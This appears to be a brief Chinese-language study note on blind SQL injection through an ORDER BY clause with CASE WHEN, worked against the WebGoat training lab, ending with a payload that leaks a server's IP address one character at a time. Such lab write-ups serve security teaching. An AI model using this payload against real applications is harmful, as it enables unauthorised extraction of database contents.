语法:select * from users order by (case when (true/false)) then xxx else mmm end)
为true时,以xxx排序,为false时,以mmm排序
测试:webgoat靶场
源码的排序语句:
题目:需要利用case when注入得到hostname="webgoat-prd
"的ip地址
可以构造payload:
(case when ((select substr(ip,1,1) from servers where hostname='webgoat-prd')='0') then hostname else id end)